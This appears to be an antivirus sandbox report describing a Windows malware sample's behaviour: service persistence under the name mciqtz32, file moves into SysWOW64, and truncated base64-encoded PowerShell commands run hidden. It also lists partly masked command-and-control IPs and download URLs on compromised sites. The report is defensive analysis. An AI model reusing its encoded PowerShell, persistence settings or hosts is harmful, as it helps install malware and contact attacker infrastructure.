Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\mciqtz32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mciqtz32] 'ImagePath' = '"%WINDIR%\SysWOW64\xvidcore\mciqtz32.exe"'
Creates the following services
- 'mciqtz32' "%WINDIR%\SysWOW64\xvidcore\mciqtz32.exe"
- 'mciqtz32' %WINDIR%\SysWOW64\xvidcore\mciqtz32.exe
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD cwBFAFQAIAAgAEUAMgA1ACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADIAfQB7ADMAfQB7ADQAfQB7ADAAfQB7ADEAfQAiACAALQBGACcAbwAuAGQAaQByACcALAAnAEUAYwB0AG8AcgBZACcALAAnAFMAeQBTACcALAAnAHQAZQ...
Modifies file system
Creates the following files
- %HOMEPATH%\hk8ep9m\m828q9f\ujy4a_.exe
Deletes the following files
- %HOMEPATH%\hk8ep9m\m828q9f\ujy4a_.exe
Moves the following files
- from %HOMEPATH%\hk8ep9m\m828q9f\ujy4a_.exe to %WINDIR%\syswow64\xvidcore\mciqtz32.exe
Substitutes the following files
- %HOMEPATH%\hk8ep9m\m828q9f\ujy4a_.exe
Network activity
Connects to
- '20#.#16.145.225':443
- '96.##6.101.6':8080
- '5.###.108.185':8080
- '16#.#14.153.111':8080
TCP
HTTP GET requests
- http://co#######serevisitedbook.com/wp-includes/6BAdVn6/
- http://ta###roup.com/divi-woocommerce/7BHbH/
- http://p3###########.shr.prod.phx3.secureserver.net/SharedContent/redirect_0.html
- http://www.sa####etutours.com/safarsetutours/do75yh/
HTTP POST requests
- http://20#.##6.145.225:443/4naSG2XlFtd/EgmntbXE699UO/ikUwYxtpD/cgV6PhICd1SfU1xr/ via 20#.#16.145.225
- http://5.###.108.185:8080/i4BE6/deHOY4wxk/GON1s8wgEfpj/wXNZHIHn/ via 5.###.108.185
- http://16#.###.153.111:8080/mHcaFrqAJYNhQ9RjiLX/qkT9/JhuoeqS7cjV/0tsrlv/ via 16#.#14.153.111
UDP
- DNS ASK co#######serevisitedbook.com
- DNS ASK ta###roup.com
- DNS ASK p3###########.shr.prod.phx3.secureserver.net
- DNS ASK pr######rio.ecomerciar.com
- DNS ASK re###eae.com
- DNS ASK sa####etutours.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD cwBFAFQAIAAgAEUAMgA1ACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADIAfQB7ADMAfQB7ADQAfQB7ADAAfQB7ADEAfQAiACAALQBGACcAbwAuAGQAaQByACcALAAnAEUAYwB0AG8AcgBZACcALAAnAFMAeQBTACcALAAnAHQAZQ...' (with hidden window)
